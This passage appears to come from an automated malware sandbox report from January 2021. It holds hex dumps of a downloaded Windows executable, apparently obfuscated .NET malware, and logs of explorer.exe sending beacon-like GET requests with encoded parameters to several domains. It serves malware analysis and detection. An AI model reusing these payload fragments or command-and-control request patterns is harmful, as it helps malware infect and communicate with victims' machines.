00 00 00 00 00 e0 00 02 01 0b 01 50 00 00 e6 0d 00 00 08 00 00 00 00 00 00 9e 04 0e 00 00 20 00 00 00 20 0e 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 0e 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 48 04 0e 00 53 00 00 00 00 20 0e 00 e8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0e 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 e4 0d 00 00 20 00 00 00 e6 0d 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 e8 05 00 00 00 20 0e 00 00 06 00 00 00 e8 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 0e 00 00 02 00 00 00 ee 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 04 0e 00 00 00 00 00 48 00 00 00 02 00 05 00 20 34 0a 00 28 d0 03 00 03 00 00 00 42 00 00 06 38 52 04 00 e8 e1 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 41 1c 87 bd ac 04 65 6d 61 1a 99 ca f0 1d 0f da 48 e7 40 a0 df 6b 0d 26 58 55 c0 d2 55 96 02 08 67 e5 f9 dc 7f ed 8b af fb ec fe bf de f3 9f 11 8b ee 98 df 7c be 17 20 e7 cd ae fc 30 59 c8 bb cf d9 42 f1 1a 93 c4 67 3b c7 3d 99 90 d1 f0 79 be c1 23 df b5 62 7f ed 13 c7 ac 4a 9b ec 75 1a 38 9d 8f f6 8d 78 70 38 67 3d cb cb ca 1f af 1b c5 55 ee 2a 9b 41 cc f8 01 2f 6f 29 92 84 02 e8 8e f1 38 e9 e8 d7 39 7b 8d b2 61 89 d0 94 e7 3b 40 55 f5 31 93 82 4d 90 b5 20 3c 85 9d eb 2a 9f 90 74 94 29 df 08 81 82 99 52 47 f0 e2 ad 00 4f f6 ba bc 63 44 41 b2 e0 91 08 6c 02 c9 14 46 44 4e 1c 4a 70 73 eb 81 e8 3a 86 cd 64 46 9d 4b 50 24 9d 9d 71 db 32 07 4b 14 bc e9 b6 32 07 96 3d ae e7 c0 e0 2a 7c 2f b7 17 b2 16 af cd a6 9d 63 26 c1 4b a0 d8 5b e7 d0 e4 e2 bf 29 1c c4 9f 34 06 9c 1a a4 64 8d 55 a1 8f b8 3b 72 bf 60 a3 02 5d 92 e1 e2 8f 0e 98 7d da f7 de 35 16 f8 6b a3 64 34 33 fd 15 32 4c 2c 53 46 5f 23 47 1c 22 42 bb 88 ce f5 53 fc 70 f7 39 2b da 1c 96 a0 79 04 ca 5a 05 8b 8e 10 73 55 74 d6 37 cd 52 f6 4a ff 34 b0 a0 ea 7c fa 63 da 2e 11 cd 81 e3 c5 da a3 59 b6 42 34 1f fc d6 b8 40 b8 50 60 15 35 57 6e e9 4d 49 09 4d 85 3f 9a 5b 1f b7 c8 95 01 fc 42 55 2a 0e cc 87 44 88 53 ba a8 0b 10 a1 62 2f 70 de aa 52 0b f4 73 ba 4b cc 84 3d 0f f5 20 fe f2 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELm`P @ `@HS @ H.text `.rsrc @@.reloc@@BH 4(B8R(AemaH@k&XUUg\| 0YBg;=y#bJu8xp8g=UA/o)89{a;@U1M <t)RGOcDAlFDNJps:dFKP$q2K2=\|/c&K[)4dU;r`]}5kd432L,SF_#G"BSp9+yZsUt7RJ4\|c.YB4@P`5WnMIM?[BUDSb/pRsK=
Jan 27, 2021 20:06:16.200189114 CET	3	IN	Data Raw: 0b 62 28 55 aa 38 e4 08 dc 29 a8 db 1d dd b0 c5 b9 7d da c0 08 82 1f 4a 80 c0 d0 06 fc 2e 3f 59 7b 7f 75 8f 88 ef 76 65 6b c4 6a a6 cd 37 94 75 a9 97 95 c6 3c bd 04 7c 37 91 34 6b 0c 2b e1 c7 1a c1 ed 47 29 09 6b ba e9 6b c4 f9 86 5b 04 17 2a 09 Data Ascii: b(U8)}J.?Y{uvekj7u<\|74k+G)kk[x;F8:sCIV$te,W5aF~&Gl:)vIW@-n>lP2M&@0`j7h2<gg5=gp4)B4$.[BwGSzo
Jan 27, 2021 20:06:16.200313091 CET	4	IN	Data Raw: 9a ba 74 31 a2 e3 3b ca 55 97 f0 4d 73 bf 1a 7a c0 f4 13 27 c6 9a e4 a0 c9 9e 1e 8c ec 26 79 5c 25 cc 73 89 52 9d 8a 54 34 6c ef 98 e2 46 93 2a 0a bd b9 a3 53 a0 ea 4a 24 7c c7 2c d5 ca 39 0a d9 17 30 b9 ea 5e d1 82 75 42 fc e4 c1 dd f4 d0 39 48 Data Ascii: t1;UMsz'&y\%sRT4lF*SJ$\|,90^uB9H)Kh/piyve)C-~^kU&#6>y5U?+xrzXDK6[\S3JLS#/B@{VOW&&<X7b
Jan 27, 2021 20:06:16.200412035 CET	6	IN	Data Raw: 61 38 3d fd ff ff 11 26 1f 0b 2f 08 20 d2 93 64 58 25 2b 06 20 dd 82 c1 52 25 26 38 23 fd ff ff 16 13 26 11 2c 20 8b e2 4a 65 5a 20 06 6f 76 12 61 38 0d fd ff ff 11 23 17 58 13 23 20 91 a2 b2 3c 38 fd fc ff ff 11 1a 16 52 20 96 fa fe 6e 38 ef fc Data Ascii: a8=&/ dX%+ R%&8#&, JeZ ova8#X# <8R n8, 'Z ra8X t8X, .Z a8KXX@(& ntdlTX l.dlTZXlS, 7Z a8l, ]HoZ va8Y@(
Jan 27, 2021 20:06:16.241239071 CET	7	IN	Data Raw: 27 17 58 13 27 11 2c 20 8f 34 d2 3b 5a 20 8b 70 ce d4 61 38 f1 f7 ff ff 09 1f 28 58 0d 11 1c 17 58 13 1c 11 2c 20 db 18 c1 62 5a 20 da 0f 46 d2 61 38 d3 f7 ff ff 11 2c 20 fe f9 6f 05 5a 20 de 56 e0 d2 61 38 c0 f7 ff ff 11 1a 1a 1f 40 12 00 28 02 Data Ascii: 'X', 4;Z pa8(XX, bZ Fa8, oZ Va8@(&RX C8(!(, yZ \|ea8yKXnjXj_XGX, r9Z G(a8?XXGR ]-8)(!(
Jan 27, 2021 20:06:16.241327047 CET	8	IN	Data Raw: 13 08 16 13 12 11 2c 20 a2 23 eb 83 5a 20 bb 39 71 70 61 38 b7 f2 ff ff 11 1a 17 58 13 1a 11 2c 20 73 94 34 e5 5a 20 10 d2 cd 32 61 38 9e f2 ff ff 09 1f 10 59 4b 13 13 09 1f 78 59 4b 13 14 11 04 8d d0 00 00 01 13 15 11 04 8d d0 00 00 01 13 16 11 Data Ascii: , #Z 9qpa8X, s4Z 2a8YKxYK pY8hX, +XZ St:a8O!X'X'XGR O86G- R%+ "%&, xXZa8(Y(X, fZ va8, ZZ za8*
Jan 27, 2021 20:06:16.241446018 CET	10	IN	Data Raw: 25 2b 06 20 e8 55 28 73 25 26 38 86 ed ff ff 11 2c 20 41 df bb f1 5a 20 3e 53 8f 44 61 38 73 ed ff ff 08 11 21 e0 58 1f 0b 1f 40 12 00 28 02 00 00 06 26 11 2c 20 10 ce d1 eb 5a 20 8f 76 6e ee 61 38 4f ed ff ff 11 18 1e 58 4b 13 19 11 2c 20 ea 3b Data Ascii: %+ U(s%&8, AZ >SDa8s!X@(&, Z vna8OXK, ;Z /a85XR, GZ Ga8, 6lZ za80("0o#0($0o%0
Jan 27, 2021 20:06:16.241525888 CET	11	IN	Data Raw: d2 9c 11 07 11 05 25 17 58 13 05 11 0b 1f 10 64 d2 9c 11 07 11 05 25 17 58 13 05 11 0b 1f 18 64 d2 9c 08 11 0a 8f d0 00 00 01 25 4b 11 0b 61 54 11 0a 17 58 13 0a 11 0c 20 69 ad 24 9e 5a 20 12 79 16 97 61 38 13 fd ff ff 11 06 16 11 06 16 95 08 16 Data Ascii: %Xd%Xd%KaTX i$Z ya8a \?Z 4PZa8jn/ t%+ %&8 w8 wgZ a8a Z ^+()a8%X plZ Qa8j
Jan 27, 2021 20:06:16.241596937 CET	13	IN	Data Raw: 01 00 00 2d 02 00 00 7b 01 00 00 2b 00 00 00 c3 00 00 00 3e 01 00 00 a8 00 00 00 05 00 00 00 b6 ff ff ff 58 00 00 00 13 02 00 00 61 01 00 00 38 28 02 00 00 12 01 fe 15 01 00 00 1b 02 20 ff ff ff 3f 5f 10 00 02 18 62 10 00 11 07 20 41 b5 db 07 5a Data Ascii: -{+>Xa8( ?_b AZ a+~Y(1 YZ `a8c~%X~%Xb`~%Xb`~%Xb` =Z a8 <Z >1a8~
Jan 27, 2021 20:06:16.241662025 CET	14	IN	Data Raw: ff 3f 5f 10 00 02 18 62 10 00 11 07 20 ef c1 ac 85 5a 20 b3 f7 e5 5a 61 38 37 fd ff ff 07 2a 13 30 08 00 bb 02 00 00 05 00 00 11 02 20 8f 23 fe f6 5a 20 5c c7 dc 96 61 10 00 20 c7 6d 6f 06 20 30 e7 f1 30 61 25 13 07 1f 0f 5e 45 0f 00 00 00 3c 00 Data Ascii: ?_b Z Za87*0 #Z \a mo 00a%^E<5R"X8Sd cZ Sa+nj3 \9n%+ U90%&8w~%X~%Xb`~%Xb`
Jan 27, 2021 20:06:16.241725922 CET	16	IN	Data Raw: 38 c8 fd ff ff 02 20 ff ff ff 3f 5f 10 00 02 18 62 10 00 06 6e 19 6a 33 08 20 e8 2c 94 25 25 2b 06 20 c2 24 59 5e 25 26 11 07 20 e7 ff bd 0b 5a 61 38 97 fd ff ff 7e 01 00 00 04 02 25 17 58 10 00 91 7e 01 00 00 04 02 25 17 58 10 00 91 1e 62 60 7e Data Ascii: 8 ?_bnj3 ,%%+ $Y^%& Za8~%X~%Xb`~%Xb`~%Xb` hZ 6a8G sZ a8-0 }0{d{Z{A 8P QBBa%

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49166	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 27, 2021 20:07:24.804033041 CET	969	OUT	GET /bw82/?OxlhlP1x=U5qlNe3qvCiRDMVNZAk3bGcrOcPwpu2hHSyAkQWR0ho6UxGTq/9WR3TB3nENm+o2HqQ7BQ==&-Zz=NpM4AdWXGTqt_ry0 HTTP/1.1 Host: www.kolamart.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jan 27, 2021 20:07:24.943315983 CET	969	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Wed, 27 Jan 2021 19:07:24 GMT Content-Type: text/html Content-Length: 275 ETag: "600b4d20-113" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49167	66.152.187.17	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 27, 2021 20:07:35.228283882 CET	970	OUT	GET /bw82/?OxlhlP1x=92sn3P3pA19WcJiefsZEcwqQjW3QIGzSMGjo0scjbpzKmVTSJHG7E3+45hmGj5CVb2tavg==&-Zz=NpM4AdWXGTqt_ry0 HTTP/1.1 Host: www.mgg360.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jan 27, 2021 20:07:35.478817940 CET	972	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 27 Jan 2021 19:04:11 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 31 63 31 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 79 73 74 65 6d 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2f 2a 20 42 61 73 65 20 2a 2f 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 3a 20 31 34 70 78 20 56 65 72 64 61 6e 61 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 68 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 27 4d 69 63 72 6f 73 6f 66 74 20 59 61 48 65 69 27 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 32 30 70 78 20 32 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 65 61 6b 3a 20 62 72 65 61 6b 2d 77 6f 72 64 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 68 31 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 30 70 78 20 30 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 33 32 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 68 32 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 32 38 38 63 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 70 78 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 70 78 20 30 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 65 65 65 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 68 33 2e 73 75 62 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 32 38 38 63 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 70 78 20 30 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 68 33 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 61 62 62 72 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 75 72 73 6f 72 3a 20 68 65 6c 70 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d Data Ascii: 1c1f<!DOCTYPE html><html><head> <meta charset="UTF-8"> <title>System Error</title> <meta name="robots" content="noindex,nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no"> <style> /* Base */ body { color: #333; font: 14px Verdana, "Helvetica Neue", helvetica, Arial, 'Microsoft YaHei', sans-serif; margin: 0; padding: 0 20px 20px; word-break: break-word; } h1{ margin: 10px 0 0; font-size: 28px; font-weight: 500; line-height: 32px; } h2{ color: #4288ce; font-weight: 400; padding: 6px 0; margin: 6px 0 0; font-size: 18px; border-bottom: 1px solid #eee; } h3.subheading { color: #4288ce; margin: 6px 0 0; font-weight: 400; } h3{ margin: 12px; font-size: 16px; font-weight: bold; } abbr{ cursor: help; text-
Jan 27, 2021 20:07:35.478876114 CET	973	IN	Data Raw: 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 2d 73 74 79 6c 65 3a 20 64 6f 74 74 65 64 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 Data Ascii: decoration: underline; text-decoration-style: dotted; } a{ color: #868686; cursor: pointer; } a:hover{ text-decoration: underline; } .line-error{
Jan 27, 2021 20:07:35.478915930 CET	974	IN	Data Raw: 64 69 6e 67 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 64 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 30 20 6e 6f 6e 65 3b Data Ascii: ding: 12px; border: 1px solid #ddd; border-bottom: 0 none; line-height: 18px; font-size:16px; border-top-left-radius: 4px; border-top-right-radius: 4px; font-f
Jan 27, 2021 20:07:35.478954077 CET	976	IN	Data Raw: 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 Data Ascii: color: #333; height: 100%; display: inline-block; border-left: 1px solid #fff; font-size:14px; font-family: Consolas,"Liberation Mono",Courier,Verdana,""; }
Jan 27, 2021 20:07:35.478995085 CET	977	IN	Data Raw: 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 63 63 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 65 78 63 65 70 74 69 6f 6e 2d 76 61 72 20 74 61 62 6c 65 20 74 62 6f 64 79 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 Data Ascii: color: #ccc; } .exception-var table tbody{ font-size: 13px; font-family: Consolas,"Liberation Mono",Courier,""; } .exception-var table td{ padding: 0 6px;
Jan 27, 2021 20:07:35.479021072 CET	978	IN	Data Raw: 63 6f 6c 6f 72 3a 20 23 30 30 38 20 7d 20 20 2f 2a 20 61 20 6d 61 72 6b 75 70 20 74 61 67 20 6e 61 6d 65 20 2a 2f 0a 20 20 20 20 20 20 20 20 70 72 65 2e 70 72 65 74 74 79 70 72 69 6e 74 20 2e 61 74 6e 20 7b 20 63 6f 6c 6f 72 3a 20 23 36 30 36 20 Data Ascii: color: #008 } /* a markup tag name / pre.prettyprint .atn { color: #606 } / a markup attribute name / pre.prettyprint .atv { color: #080 } / a markup attribute value */ pre.prettyprint .dec, pre.prettyprint .var

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49168	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 27, 2021 20:07:40.616339922 CET	979	OUT	GET /bw82/?OxlhlP1x=AJ+QNFfsTFGsedRB1oQHABBFVni950JEMBOKAlzmtW9JOrHkbqbPAoxgnlDKI2ECKqRl+w==&-Zz=NpM4AdWXGTqt_ry0 HTTP/1.1 Host: www.rizrvd.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jan 27, 2021 20:07:40.755337954 CET	979	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Wed, 27 Jan 2021 19:07:40 GMT Content-Type: text/html Content-Length: 275 ETag: "600b4d54-113" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.22	49169	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 27, 2021 20:07:45.866683960 CET	980	OUT	GET /bw82/?OxlhlP1x=kkzs7wdh+d5Am/pShfiLHnYXY/z1ZZpbk/YksZMR2IH2vaFa+RYbCDDaBA0EFHNpIzx4Vw==&-Zz=NpM4AdWXGTqt_ry0 HTTP/1.1 Host: www.activagebenefits.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jan 27, 2021 20:07:46.006191015 CET	981	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Wed, 27 Jan 2021 19:07:45 GMT Content-Type: text/html Content-Length: 275 ETag: "600b4d54-113" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.22	49170	198.185.159.144	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 27, 2021 20:07:51.262765884 CET	981	OUT	GET /bw82/?OxlhlP1x=cQgJWKf5RX1pgHqtrNlNvU1Wcwt7yBWYkREyiU0JrpPbxB8OGrmWpa/gYGeP1DcG9D81oQ==&-Zz=NpM4AdWXGTqt_ry0 HTTP/1.1 Host: www.usmedicarenow.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jan 27, 2021 20:07:51.432032108 CET	983	IN	HTTP/1.1 400 Bad Request Cache-Control: no-cache, must-revalidate Content-Length: 77564 Content-Type: text/html; charset=UTF-8 Date: Wed, 27 Jan 2021 19:07:51 UTC Expires: Thu, 01 Jan 1970 00:00:00 UTC Pragma: no-cache Server: Squarespace X-Contextid: emTKCGIZ/j4jfctVx Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 